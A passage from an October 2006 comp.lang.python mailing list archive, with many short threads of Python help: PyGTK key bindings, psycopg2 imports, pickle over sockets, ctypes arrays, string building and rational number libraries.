'treeview.set_enable_search(False)'. Works nice. An option would be, to toggle the searching function with some keystroke, e.g. 'Ctrl-s'. And set a key binding for the movement to 'j' and 'k' when the search mode is disabled. I think I could do it somehow with the 'accelgroup' function, but did not find enough information to get a clue out of it. Does anybody have an idea? In a small curses based file manager (lfm) there is an assignment of keybindings via a keytable keytable = { # movement ord('p'): 'cursor_up', ord('k'): 'cursor_up', ord('K'): 'cursor_up2', ord('P'): 'cursor_up', curses.KEY_UP: 'cursor_up', ord('n'): 'cursor_down', ord('j'): 'cursor_down', ord('J'): 'cursor_down2', ord('N'): 'cursor_down', ... Would that work in any way for a pygtk program too? Greetings! Fabian From buzzi.paolo at gmail.com Tue Oct 3 03:27:47 2006 From: buzzi.paolo at gmail.com (Paolo) Date: 3 Oct 2006 00:27:47 -0700 Subject: postgresql database In-Reply-To: <1159805351.300305.138160@i42g2000cwa.googlegroups.com> References: <1159803809.124967.262290@b28g2000cwb.googlegroups.com> <1159805351.300305.138160@i42g2000cwa.googlegroups.com> Message-ID: <1159860467.365605.125130@i42g2000cwa.googlegroups.com> Michele Simionato ha scritto: > Paolo wrote: > > Ciao a tutti, sto cercando di implementare un applicazione che si > > interfaccia con postgresql(8.1), utilizzando Psycopg2, in ambiente > > windows (python versione 2.5). Ho installato Psycopg2 e provando > > solamente fare: import psycopg mi ritorna il seguente errore: > > > > import psycopg > > ImportError: No module named psycopg > > > > come mai? va settata qualche path oltre a quella di postgresql ? > > > > grazie dell'aiuto > > Well, if you are using Psycopg2, do > > import psycopg2 sure, I have mistaken to write the import, the problem was in the version of the driver. Thank you for tour fast answer. > > (and please use the italian mailing list for questions in Italian). sorry, but I thought to write in the italian mailing list. > > Michele Simionato From antroy at gmail.com Sat Oct 7 03:57:13 2006 From: antroy at gmail.com (Ant) Date: 7 Oct 2006 00:57:13 -0700 Subject: humble coin head or tail game script I wrote In-Reply-To: <1160157908.997499.289220@k70g2000cwa.googlegroups.com> References: <1160157908.997499.289220@k70g2000cwa.googlegroups.com> Message-ID: <1160207833.868874.153000@i42g2000cwa.googlegroups.com> > # Get a list which contains 10 values from the user > # let them predict Head Or Tail in ten times coin thrown > # and then prdict the list by a fixed rule > > > list = [] > > print 'Predict Head or Tail in ten times coin thrown\nJust input \'h\' > or \'t\' please\n' > > count = 0 > while True: > count += 1 > print '\nNo.', count, ', h or t? ' > pre_user = raw_input() > while pre_user != 'h' and pre_user != 't': > print '\njust enter \'h\' or \'t\' please' > print '\nNo.', count, ', h or t? ' > pre_user = raw_input() > list.append(pre_user) > if count == 10: > break You can simplify this considerably: user_input = [] # list is a keyword so makes a bad variable name. while len(user_input) < 10: print '\nNo.', len(user_input) + 1, ', h or t? ' pre_user = raw_input() if pre_user not in ["h","t"]: # Note you can also use not in "ht" print '\njust enter \'h\' or \'t\' please' continue user_input.append(pre_user) print user_input HTH. From intager at gmail.com Tue Oct 3 17:03:06 2006 From: intager at gmail.com (Non Existence) Date: 3 Oct 2006 14:03:06 -0700 Subject: ** NEW SCIENTIFIC AND FORENSIC JOURNAL LAUNCHED ** and 1MILLION reward In-Reply-To: <1159902812.245148.153910@m73g2000cwd.googlegroups.com> References: <1159902812.245148.153910@m73g2000cwd.googlegroups.com> Message-ID: <1159909386.113456.144750@b28g2000cwb.googlegroups.com> http://www.childpastlives.org/library.htm http://www.odemagazine.com/article.php?aID=4207 http://www.nderf.org/vonlommel_consciousness.htm From steve at holdenweb.com Mon Oct 30 16:09:41 2006 From: steve at holdenweb.com (Steve Holden) Date: Mon, 30 Oct 2006 21:09:41 +0000 Subject: importing class In-Reply-To: <1162220253.426998.197840@i42g2000cwa.googlegroups.com> References: <1161966120.828597.57280@b28g2000cwb.googlegroups.com> <1162140046.696622.295130@m7g2000cwm.googlegroups.com> <1162220253.426998.197840@i42g2000cwa.googlegroups.com> Message-ID: gmarkowsky at gmail.com wrote: > Thanks for your help. Actually my idea was that command1 and command2 > would be defined within the program, not the module, as I would have > different choices in different programs. Should I pass them in as a > parameter too? > It would seem to be the only way to tell your object which callbacks to call! regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From arkanes at gmail.com Wed Oct 25 10:04:16 2006 From: arkanes at gmail.com (Chris Mellon) Date: Wed, 25 Oct 2006 09:04:16 -0500 Subject: Sending Dictionary via Network In-Reply-To: <1161734203.189942.42020@k70g2000cwa.googlegroups.com> References: <1161730229.556578.278020@f16g2000cwb.googlegroups.com> <1161731374.373983.56110@m73g2000cwd.googlegroups.com> <1161734203.189942.42020@k70g2000cwa.googlegroups.com> Message-ID: <4866bea60610250704t343adc6dycf0f14dfd4b6b610@mail.gmail.com> On 24 Oct 2006 16:56:43 -0700, Simon Forman wrote: > > mumebuhi wrote: > > Thank you very much for the reply. > > > > Can pickle work directly with socket? The way I am doing right now is > > to pickle the object to a file then send the file content through the > > socket. > > Pickle aso has dumps() and loads() to work with strings rather than > files. I would recommend against using pickle if you're going to push it over a network - there are signifigant dangers in unpickling anything untrusted. From yellowalienbaby at gmail.com Wed Oct 18 18:10:36 2006 From: yellowalienbaby at gmail.com (yellowalienbaby at gmail.com) Date: 18 Oct 2006 15:10:36 -0700 Subject: Getting method name from within the class method In-Reply-To: References: <1161207492.298811.178110@m7g2000cwm.googlegroups.com> Message-ID: <1161209436.684309.296870@m7g2000cwm.googlegroups.com> Mitko Haralanov wrote: > On 18 Oct 2006 14:38:12 -0700 > yellowalienbaby at gmail.com wrote: > > > >>> class test(object): > > ... def a_method(self,this,that): > > ... print self.a_method.__name__ > > Doing the above will obviously work! > > However, I don't want to have to use the name of the function in the > print statement (the ".a_method." part). Imagine having about 100 of > the above print statements in the function and then you change the name > of the function. I want all 100 of the print statements to work without > having to change every one of them to reflect the new function name. Thats what I thought.. I dont know if there is a python way of doing it, but if replacing text is the only concern, wouldnt a good editor with regex search+replace make the job easier ? or if your in a unix with ksh / pdksh for f in $(ls) do sed -e "s/print self.a_method.__name__/print self.new_name.__name/g" done or similar... I'm not helping much, am I :) From rvernica at gmail.com Sat Oct 28 15:18:04 2006 From: rvernica at gmail.com (Rares Vernica) Date: Sat, 28 Oct 2006 12:18:04 -0700 Subject: unescape HTML entities Message-ID: Hi, How can I unescape HTML entities like " "? I know about xml.sax.saxutils.unescape() but it only deals with "&", "<", and ">". Also, I know about htmlentitydefs.entitydefs, but not only this dictionary is the opposite of what I need, it does not have " ". It has to be in python 2.4. Thanks a lot, Ray From anthra.norell at vtxmail.ch Mon Oct 23 15:23:54 2006 From: anthra.norell at vtxmail.ch (Frederic Rentsch) Date: Mon, 23 Oct 2006 21:23:54 +0200 Subject: Attempting to parse free-form ANSI text. In-Reply-To: <453D151C.8080905@vtxmail.ch> References: <453CBC03.6090003@vtxmail.ch> <453D151C.8080905@vtxmail.ch> Message-ID: <453D16CA.6030805@vtxmail.ch> Frederic Rentsch wrote: > Frederic Rentsch wrote: > >> Paul McGuire wrote: >> >> >>> "Michael B. Trausch" <"mike$#at^&nospam!%trauschus"> wrote in message >>> >>> > > Sorry about the line wrap mess in the previous message. I try again with > another setting: > > Frederic > I give up! From lycka at carmen.se Thu Oct 12 06:03:43 2006 From: lycka at carmen.se (Magnus Lycka) Date: Thu, 12 Oct 2006 12:03:43 +0200 Subject: Where is Python in the scheme of things? In-Reply-To: <4524beb9$0$310$426a74cc@news.free.fr> References: <4524beb9$0$310$426a74cc@news.free.fr> Message-ID: Bruno Desthuilliers wrote: > gord wrote: >> As a complete novice in the study of Python, I am asking myself where this >> language is superior or better suited than others. For example, all I see in >> the tutorials are lots of examples of list processing, arithmetic >> calculations - all in a DOS-like environment. > > s/DOS-like/command line/ > > The command line interface is widely used on unix-like systems, and is > very handy for a lot of things. In general, I think using the keyboard more and the mouse less is typically a win, both in power of expression and in speed. I don't think it's a coincidence that most of us use the keyboard and plain text to communicate in this forum. Writing text by pointing, dragging and clicking instead of by typing, would probably slow us down quite a bit. I feel much more productive in bash than in most Windows apps. (I still like to have several terminal windows though.) My seven year old son did play a bit with magnetic letters we have on the fridge door in the kitchen (when he was small, he'd say now) but he's dropped that entirely in favor of pencil and paper. His two year old brother can play with that fridge-based GUI... When we reach a certain level of expertize, we often find it easier to pick the things we put together from our memory and imagination, rather than from some kind of menu in our field of vision. Ok, the keyboard is a kind of menu too, but that's not the point. The important thing is that text is an extremely powerful way of conveying information that we've used for thousands of years. It's far more sophisticated than pointing at visible objects. Also, a tool like Python isn't bound to keyboards, like VB is bound to the Windows GUI. Almost everything, from network traffic, to GUI interaction, to hardware manipulations can be effectively translated to and from text formats. Not that Python can't handle binary data, but going via textual representations usually makes testing, debugging and understanding much easier. I'd suggest that the OP look at the Wikipedia page in Unix Philosophy. Read about Gancarz tenets, and replace shell scripts with Python. (Of course, Python offers more elaborate communication than pipes.) I'd also the link to Joel Spolsky's Biculturalism article, and read that. From bj_666 at gmx.net Sun Oct 22 10:50:10 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Sun, 22 Oct 2006 16:50:10 +0200 Subject: How to print a file in binary mode References: <1161519385.614985.311240@m73g2000cwd.googlegroups.com> <1161524030.833422.216370@k70g2000cwa.googlegroups.com> Message-ID: In <1161524030.833422.216370 at k70g2000cwa.googlegroups.com>, Lucas wrote: > thanks for your answer. > > I known how to do it. > read() return a string. so > 1) bytes = read(1) #read the file by bit. This reads a byte, not a bit. > 2) chrString = ord(bytes) #convert the string to ASCII. Converts the byte into an integer with value of the byte. This has nothing to do with ASCII. > 3) print numberToBinary(chrString) #convert the ASCII to Binary using > my function. You mean a binary representation i.e. a string that contains just 0s and 1s? > 4) Loop This is quite inefficient. If the file is not too big it's better to load it into memory completely. And if you need the byte value of every single byte you should read the file into an `array.array()` of type 'B'. Ciao, Marc 'BlackJack' Rintsch From aisaac0 at verizon.net Tue Oct 24 13:57:02 2006 From: aisaac0 at verizon.net (David Isaac) Date: Tue, 24 Oct 2006 17:57:02 GMT Subject: return same type of object References: <453e26bf$0$21879$426a74cc@news.free.fr> Message-ID: Bruno wrote: > This is usually known as a 'factory method'. You do realise that both solutions are *not* strictky equilavent, do you? Your point I believe is that after inheritance the factory method in the subclass will still return MyClass() but will return an instance of the subclass if I return self.__class__() Right. You did not comment further so I take it your view is that each is fine, pick the one that gives the behavior you want. But Steve suggests going with the latter. Here is an (very crude) argument for going with the latter: if you know you want an instance of MyClass(), you can do that directly, but if you do this via a factory method, then (after inheritance) the action of the factory method becomes obscured. Does that make any sense? Thanks, Alan Isaac of the factory From pecora at anvil.nrl.navy.mil Tue Oct 17 09:54:43 2006 From: pecora at anvil.nrl.navy.mil (Lou Pecora) Date: Tue, 17 Oct 2006 09:54:43 -0400 Subject: How to invoke ipython in Mac OS X? Message-ID: I installed the SciPy superpackage and have pylab, matplotlib, scipy, and numpy apparently running well. But I want to use matplotlib/pylab interactively. The instructions suggest doing this in IPython. But using ipython on the command line gives me an error. The system doesn't know the command. Apparently there is no ipython executable in one of the bin directories. I thought the superpackage would add that automatically, but I guess not. Can anyone tell me how to get ipython running on my MacOSX 10.4 system? Thanks for any help. (Yes, I asked on the SciPy email list, but never got an answer.) -- Lou Pecora (my views are my own) REMOVE THIS to email me. From joehust at gmail.com Thu Oct 26 03:06:38 2006 From: joehust at gmail.com (joe Li) Date: Thu, 26 Oct 2006 15:06:38 +0800 Subject: python html 2 image (png) In-Reply-To: <1161845822.338404.197410@f16g2000cwb.googlegroups.com> References: <1161763383.622381.299350@b28g2000cwb.googlegroups.com> <1161778587.501281.92320@h48g2000cwc.googlegroups.com> <4q9l3cFm97ffU1@uni-berlin.de> <1161845822.338404.197410@f16g2000cwb.googlegroups.com> Message-ID: <11c6e45f0610260006r7aa6d5b0w8f91eaa235c065df@mail.gmail.com> **class Bunch(object): def __init__(self, **fields): self.__dict__ = fields p = Bunch(x=2.3, y=4.5) print p print p.__dict__ I dont' understand the usage of the double * here, could anyone explain it for me? thanks. -------------- next part -------------- An HTML attachment was scrubbed... URL: From wescpy at gmail.com Thu Oct 5 19:21:28 2006 From: wescpy at gmail.com (wesley chun) Date: Thu, 5 Oct 2006 16:21:28 -0700 Subject: building strings from variables Message-ID: <78b3a9580610051621k3005fa97naacda1d28762cdee@mail.gmail.com> > Following a discussion with an associate at work about various ways to build strings from variables in python, I'd like to hear your opinions and preferred methods. from the performance standpoint, i believe that #4 (list join) from scott is the fastest. #1 (string formatting) is next preferred only because #3 (string concat) is the worst [think "realloc()"]. #2 is useful for when you have users who aren't as comfortable with #1. however, #3 is good for real newbies or those coming from other languages since conceptually, it's the easiest to comprehend. bottom line is that it depends on your requirements. i'm constantly thinking performance, so that's why i answered in the manner above. hope this helps! -- wesley - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "Core Python Programming", Prentice Hall, (c)2007,2001 http://corepython.com wesley.j.chun :: wescpy-at-gmail.com python training and technical consulting cyberweb.consulting : silicon valley, ca http://cyberwebconsulting.com From bignose+hates-spam at benfinney.id.au Thu Oct 26 05:20:30 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Thu, 26 Oct 2006 19:20:30 +1000 Subject: Printing Hidden Character in Python References: <3ACF03E372996C4EACD542EA8A05E66A0615D6@mailbe01.teak.local.net> <87ejsvihaj.fsf@benfinney.id.au> <3ACF03E372996C4EACD542EA8A05E66A0615D7@mailbe01.teak.local.net> Message-ID: <8764e7igbl.fsf@benfinney.id.au> [Please don't top-post replies. I've corrected it in this post.] Wijaya Edward writes: > Ben Finney wrote: > > Wijaya Edward writes: > > > How can we print out the hidden character like "\n", "\r" etc in > > > Python? > > What result do you want that you're not getting with: > > print "\n" > > printing "line" will not show the hidden chars like "\n","\r". > Is there a way to print it out? Again, I don't know what result you want to see. The characters are non-printable; what output do you expect? If you want to see a Python string representation of the input, maybe the 'repr' function is what you want. >>> foo = "bar\tbaz\r\n" >>> print foo bar baz >>> print repr(foo) 'bar\tbaz\r\n' -- \ "The most common way people give up their power is by thinking | `\ they don't have any." -- Alice Walker | _o__) | Ben Finney From fredrik at pythonware.com Tue Oct 24 05:13:20 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 24 Oct 2006 11:13:20 +0200 Subject: Screen capture on Linux References: <1161533213.744934.67170@e3g2000cwe.googlegroups.com><463ff4860610220915q7b609780u9cb6b418c529a6ef@mail.gmail.com> <83e8215e0610230815r155a5e0ejf867e41246ce787a@mail.gmail.com> Message-ID: Paolo Pantaleo wrote: > If needed, I was thinking to write a C module too. I never did it > before, but I am a not so bad C programmer... any suggestion? What > code can I read and eventually reuse? Would the xwd be useful? > > Anyway doesn't it exist a Python binding for let's say X APIs ? http://sourceforge.net/projects/python-xlib (that's an X protocol client, not a binding to X's standard C library). From laurent.pointal at limsi.fr Wed Oct 18 02:46:57 2006 From: laurent.pointal at limsi.fr (Laurent Pointal) Date: Wed, 18 Oct 2006 08:46:57 +0200 Subject: I would like write some data recovery software In-Reply-To: <1161141519.989567.195330@i42g2000cwa.googlegroups.com> References: <1161141519.989567.195330@i42g2000cwa.googlegroups.com> Message-ID: gel a ?crit : > I would like to write some data recovery software as a learning thing. > The sort of thing that you would use to recover data from a currupt HDD > or floppy etc. I would like to be pointed in the right direction as > far as modules to use and suggested approaches. > Once you get a way to access the bytes to recover... the Hachoir library can be interresting as a model to map structures on these data. http://hachoir.org/ A+ Laurent. From paul at boddie.org.uk Fri Oct 13 05:57:19 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 13 Oct 2006 02:57:19 -0700 Subject: Linting python code... References: <200610101415.54557.email@christoph-haas.de> <17707.37057.62720.611901@montanaro.dyndns.org> Message-ID: <1160733439.254438.300340@b28g2000cwb.googlegroups.com> Joel Rosdahl wrote: > skip at pobox.com writes: > > [PyLint, PyChecker] > > New kid on the block: > > > > PyFlakes http://divmod.org/trac/wiki/DivmodPyflakes > > > > It doesn't do nearly as much as the other two but doesn't import the > > modules, so it can be used in places the others can't. > > I thought PyLint doesn't import modules either. Am I mistaken? My impression was that PyLint only inspects the AST (using the astng package), whereas PyChecker can be asked to do only that, or to actually import the modules as well. Paul From theller at python.net Mon Oct 16 02:08:02 2006 From: theller at python.net (Thomas Heller) Date: Mon, 16 Oct 2006 08:08:02 +0200 Subject: OT: What's up with the starship? In-Reply-To: References: Message-ID: T. Bryan schrieb: > Thomas Heller wrote: > >> I cannot connect to starship.python.net: neither http, nor can I login >> interactively with ssl (and the host key seems to have changed as well). >> >> Does anyone know more? > > starship.python.net was compromised. It looked like a rootkit may have been > installed. The volunteer admins are in the process of reinstalling the OS > and rebuilding the system. That process will probably take a few days at > least. Thanks for the info. I appreciate the work that the admins are doing. Thanks, Thomas From tommi.raivio at kypara.net Sat Oct 21 01:33:51 2006 From: tommi.raivio at kypara.net (Tommi) Date: 20 Oct 2006 22:33:51 -0700 Subject: Looking for assignement operator References: <1161158101.890041.122160@k70g2000cwa.googlegroups.com> <4535e7d8$0$377$426a74cc@news.free.fr> Message-ID: <1161408831.435579.302150@m73g2000cwd.googlegroups.com> Bruno Desthuilliers wrote: > (please don't top-post - corrected) (sorry) > How could it help ? To me they just looked a bit alike: --- op's example --- a = MyInt(10) # Here i need to overwrite the assignement operator a = 12 --- traits' example --- moe = Child() # NOTIFICATION in action moe.age = 10 From hanumizzle at gmail.com Wed Oct 11 00:55:39 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Wed, 11 Oct 2006 00:55:39 -0400 Subject: OT: Sarcasm and irony In-Reply-To: <12iosfh75stcf0e@corp.supernews.com> References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au> <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com> <3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com> <3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com> <12iosfh75stcf0e@corp.supernews.com> Message-ID: <463ff4860610102155q7334ba1fo56181a5c7f4b956@mail.gmail.com> On 10/11/06, Grant Edwards wrote: > Like Alanis Morisette said about the song "Isn't it Ironic": > What's ironic about the song is that it doesn't actually > contain any irony. OH!! IT'S TEH 'META-IRONY'!! ZOMG!!! -- Theerasak From mumebuhi at gmail.com Tue Oct 24 19:22:35 2006 From: mumebuhi at gmail.com (mumebuhi) Date: 24 Oct 2006 16:22:35 -0700 Subject: Sending Dictionary via Network References: <1161730229.556578.278020@f16g2000cwb.googlegroups.com> <453e9ba0$0$3276$426a34cc@news.free.fr> Message-ID: <1161732155.264210.77250@f16g2000cwb.googlegroups.com> The simplejson module is really cool and simple to use. This is great! For others who are just starting to use Python (like myself), simply download and decompress the source bundle then copy the simplejson directory to your sys.path (e.g. /usr/lib/python2.4/). Thanks so much, Bruno. Buhi Bruno Desthuilliers wrote: > mumebuhi a ?crit : > > Hi, > > > > Is it possible to send a non-string object from a Python program to > > another? I particularly need to send a dictionary over to the other > > program. However, this is not possible using the socket object's send() > > function. > > > > Help? > > > >>> d = dict(one=1, two="three", question="life, universe, and everything") > >>> import simplejson > >>> s = simplejson.dumps(d) > >>> s > '{"question": "life, universe, and everything", "two": "three", "one": 1}' > >>> simplejson.loads(s) == d > True > > http://cheeseshop.python.org/pypi/simplejson > > If you *really* want to "share" objects between programs, there are way > to do so (pyro comes to mind). But this gets more complicated... From mail at microcorp.co.za Wed Oct 18 02:08:49 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Wed, 18 Oct 2006 08:08:49 +0200 Subject: People's names (was Re: sqlite3 error) References: <1159394058.945948.119410@h48g2000cwc.googlegroups.com><1159493520.289291.276850@b28g2000cwb.googlegroups.com> <20061017141359.2044.0.NOFFLE@dieschf.news.arcor.de> Message-ID: <000401c6f281$06d28240$03000080@hendrik> "Florian Diesch" wrote: 8<-------------------------------------------------------------- >In Germany "von" is just a part of the name since 1919 when the nobility >was abolished by law. Thanks - was not aware of this - 1919 - just after the Great War, 1914-1918... - Hendrik From python.list at tim.thechases.com Fri Oct 20 09:04:16 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Fri, 20 Oct 2006 08:04:16 -0500 Subject: list comprehension (searching for onliners) In-Reply-To: <4538C09E.2040408@fmed.uba.ar> References: <4538C09E.2040408@fmed.uba.ar> Message-ID: <4538C950.1060403@tim.thechases.com> > result = [{'service_id' : 1, 'value': 10}, > {'service_id': 2, 'value': 5}, > {'service_id': 1, 'value': 15}, > {'service_id': 2, 'value': 15}, > ] > > and so on...what i need to do is some list comprehension that returns me > something like > > result = [ > { > 'service_id' : 1, 'values': [ {'value': 10}, > {'value': 15}] > }, > { > 'service_id' : 2, 'values': [ {'value': 5}, {'value': 15}] > } > > > My problem now is i cant avoid have "repeteated" entries, lets say, in > this particular case, 2 entries for "service_id = 1", and other 2 for > "service_id =2". Okay...while I'm not sure the opacity of a one-liner is actually productive, it *can* be done. Whether it should, I leave that to your discernment. :) >>> [{'service_id': i, 'values':[{'value':d2['value']} for d2 in result if d2['service_id'] == i ]} for i in set(d['service_id'] for d in result)] [{'service_id': 1, 'values': [{'value': 10}, {'value': 15}]}, {'service_id': 2, 'values': [{'value': 5}, {'value': 15}]}] There's no claiming it's efficient, as it looks like there may be some O(N^2) logic going on under the hood (or possibly O(N*M) where N is the size of the result-set and M is the count of unique service_id values), as it's iterating over the result-set in two dimensions...once to create the set of top-level indices, and once for each result. If you didn't have to have all those dictionaries around, it might come out more cleanly to just have some result-set that came out to be {1: [10,15], 2: [5,15]} Just a few thoughts... -tkc From luc.saffre at gmail.com Thu Oct 19 14:04:55 2006 From: luc.saffre at gmail.com (luc.saffre at gmail.com) Date: 19 Oct 2006 11:04:55 -0700 Subject: comparing Unicode and string In-Reply-To: <1161005167.295259.290800@m7g2000cwm.googlegroups.com> References: <1161005167.295259.290800@m7g2000cwm.googlegroups.com> Message-ID: <1161281095.174018.223790@f16g2000cwb.googlegroups.com> Thanks, John and Neil, for your explanations. Still I find it rather difficult to explain to a Python beginner why this error occurs. Suggestion: shouldn't an error raise already when I try to assign s2? A normal string should never be allowed to contain characters that are not codable using the system encoding. This test could be made at compile time and would render Python more didadic. Luc luc.saffre at gmail.com schrieb: > Hello, > > here is something that surprises me. > > #coding: iso-8859-1 > s1=u"Frau M?ller machte gro?e Augen" > s2="Frau M?ller machte gro?e Augen" > if s1 == s2: > pass > > Running this code produces a UnicodeDecodeError: > > Traceback (most recent call last): > File "tmp.py", line 4, in ? > if s1 == s2: > UnicodeDecodeError: 'ascii' codec can't decode byte 0xfc in position 6: > ordinal not in range(128) > > I would have expected that "s1 == s2" gives True... or maybe False... > but raising an error here is unnecessary. I guess that the comparison > operator decides to convert s2 to a Unicode but forgets that I said > #coding: iso-8859-1 at the beginning of the file. > > TIA for any comments. > > Luc Saffre From chtaylo3 at gmail.com Tue Oct 24 13:07:13 2006 From: chtaylo3 at gmail.com (Christopher Taylor) Date: Tue, 24 Oct 2006 13:07:13 -0400 Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64 In-Reply-To: <453DA645.2090009@v.loewis.de> References: <45386B4C.4020001@v.loewis.de> <453d4821$0$22566$9b622d9e@news.freenet.de> <453DA645.2090009@v.loewis.de> Message-ID: <2590773a0610241007n69424001y5e8b414cff4684bf@mail.gmail.com> > Ah, I see. The reason is pretty simple: Makefile.pre.in has > > LIBDIR= $(exec_prefix)/lib > > so it seems that LIBDIR isn't configurable. So you would agree that this is a bug? I'll post on Python-Dev for further advice. I'd like to fix this for the x86_64 community. > You will have to debug this (can't do right now); see Modules/getpath.c, > and the definition of PYTHONPATH. It seems this isn't really supported. I'll ask on Python-Dev for more details on how to fix this. Respectfully, Christopher Taylor From ilias at lazaridis.com Fri Oct 6 10:13:44 2006 From: ilias at lazaridis.com (Ilias Lazaridis) Date: 6 Oct 2006 07:13:44 -0700 Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy Singleton In-Reply-To: References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com> <1160088907.689743.252500@m7g2000cwm.googlegroups.com> <1160100015.211649.310540@m73g2000cwd.googlegroups.com> <4omn7jFfe26cU1@uni-berlin.de> Message-ID: <1160144024.691302.43920@i42g2000cwa.googlegroups.com> Richard Brodie wrote: > "Diez B. Roggisch" wrote in message > news:4omn7jFfe26cU1 at uni-berlin.de... > > > This is on the same level of interest to the communities of python, ruby & java as the > > color of my socks this morning - a deep black with cute little skulls imprinted. > > I did find Andy's claim that he expected contributors to sing a > copyright transfer agreement somewhat unreasonable. It would > depend on the tune though, I guess. Such agreements seem to be nothing special within Software Business (although the Assembla one looks a little bit one-sided). Companies have to ensure that they own the software, otherwise they cannot sell the product. For a contribution which happens based on reduced rates and in context of Open Source, such an agreement is of course inacceptable (developer looses all rights). That's why I've provided an alternative agreement (Joint Copyright), which covers the needs of both sides: http://case.lazaridis.com/wiki/AssemblaReworkProject#CopyrightAssignment . From richardjones at optushome.com.au Wed Oct 4 01:12:58 2006 From: richardjones at optushome.com.au (Richard Jones) Date: Wed, 04 Oct 2006 15:12:58 +1000 Subject: ctypes, arrays and pointers Message-ID: <452342da$0$11970$afc38c87@news.optusnet.com.au> Does anyone know how to do the equivalent of this using ctypes? image_data = malloc(width * height * components); row_pointers = png_get_rows(png_ptr, info_ptr); for (y = 0; y < height; y++) memcpy(&image_data[width * components * y], row_pointers[height-y-1], width * components); That is, I need to get the address of a location *within* an allocated array. This is what I've got: image_data = create_string_buffer(width * height * components) address = addressof(image_data) row_pointers = libpng.png_get_rows(png_ptr, info_ptr) for y in xrange(height): row = string_at(address + width * components * y) memmove(row, row_pointers[height-y-1], width * components) but that's not correct. Either the addressof() or string_at() are not working according to my understanding from the docs, because that code segfaults. FWIW, I also tried: row = image_data + width * components * y but you can't add an int to a c_char_Array_2415600. Sadly the docs don't seem to be finished :( http://docs.python.org/dev/lib/ctypes-arrays-pointers.html From Matthew.Warren at Digica.com Fri Oct 20 07:22:56 2006 From: Matthew.Warren at Digica.com (Matthew Warren) Date: Fri, 20 Oct 2006 12:22:56 +0100 Subject: [Tutor] How to get the width of teh button widget..?? Message-ID: ________________________________ Folks, Sorry for asking you such a trivial question.!!! But i want to size up all the buttons with the same size as the largest one in the interface.. And thats why I am asking this question.. Regards, Asrarahmed Hi Asrarahmed. I think, from your recent posts asking questions regarding help with python on this list, you may benefit from reading this document; http://catb.org/~esr/faqs/smart-questions.html You'll find you wont feel a need to apologise so much for your questions too. As to this question, people will really need to know which gui toolkit you are using, and how you have used it to build your buttons. So please post more information regarding the problem, and code you have written and tried to use so far. :) Matt. -- This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. You should not copy the email, use it for any purpose or disclose its contents to any other person. Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica. It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email. UK: Phoenix House, Colliers Way, Nottingham, NG8 6AT UK Reception Tel: + 44 (0) 115 977 1177 Support Centre: 0845 607 7070 Fax: + 44 (0) 115 977 7000 http://www.digica.com SOUTH AFRICA: Building 3, Parc du Cap, Mispel Road, Bellville, 7535, South Africa Tel: + 27 (0) 21 957 4900 Fax: + 27 (0) 21 948 3135 http://www.digica.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From tvachon at gmail.com Sat Oct 21 04:58:23 2006 From: tvachon at gmail.com (Travis Vachon) Date: Sat, 21 Oct 2006 01:58:23 -0700 Subject: Good Form In-Reply-To: <1161418652.105713.41150@m7g2000cwm.googlegroups.com> References: <1161418652.105713.41150@m7g2000cwm.googlegroups.com> Message-ID: <4539E12F.3010608@gmail.com> Hi Phez Generally, most Python programmers I know access and set class attributes directly. This is done because of a Python feature called property(). In many languages, setting class attributes directly is discouraged because additional behavior may need to be associated with that setting, and it may be difficult or impossible to later inject this behavior into the setting action. In Python, however, if we have a class like class A: a = 1 we just get and set a like: >>> obj = A() >>> obj.a = 2 If we later want to associate additional behavior with setting A.a, we can do the following: class A(object): _a = 1 def _get_a(self): additional_action() return self._a def _set_a(self, val): some_other_additional_action() _a = val a = property(_get_a, _set_a) Now when we do >>> obj = A() >>> obj.a = 2 obj.a = 2 will call _set_a(self, 2), which in this case will run some_other_additional_action() and then set a to 2. Gregor's post contains prudent advice on when to use this property() business (that is, only when definitely needed :) ). Best, Travis Vachon phez.asap at gmail.com wrote: > I am new to Python but come from a C++ background so I am trying to > connect the dots :) . I am really liking what I see so far but have > some nubee questions on what is considered good form. For one thing I > am used to class variables being accessable only through methods > instaed of directly refrenced from the object instence. From what I > have read it looks like when you access a class variable directly in > Python it has something in the background that works similar to a > getter of setter. > > Would you normally write methods to retrive and set your class > variables or just refrence them directly? > > From casevh at comcast.net Tue Oct 31 17:13:55 2006 From: casevh at comcast.net (casevh at comcast.net) Date: 31 Oct 2006 14:13:55 -0800 Subject: "best" rational number library for Python? In-Reply-To: References: Message-ID: <1162332835.005490.38220@b28g2000cwb.googlegroups.com> > A guy at work asked for functionality commonly found with rational numbers, > so I said I'd find and install something. I figured gmpy would be suitable, > alas I'm having trouble successfully building the underlying GMP 4.2.1 > library on a PC running Solaris 10 (won't compile with the default --host, > fails "make check" if I go the no-assembly route). Before I invest a bunch > of time into this, am I barking up the wrong tree? > I've successfully compiled GMP 4.2.1 on Solaris 10 x86 using both the GCC and Sun Studio compilers on AMD 32-bit platform. I just compiled GMP 4.2.1 on a P4 using $ CFLAGS="" CC=gcc ./configure $ gmake; gmake check and all tests passed. casevh From Leo.Kislov at gmail.com Thu Oct 19 06:28:16 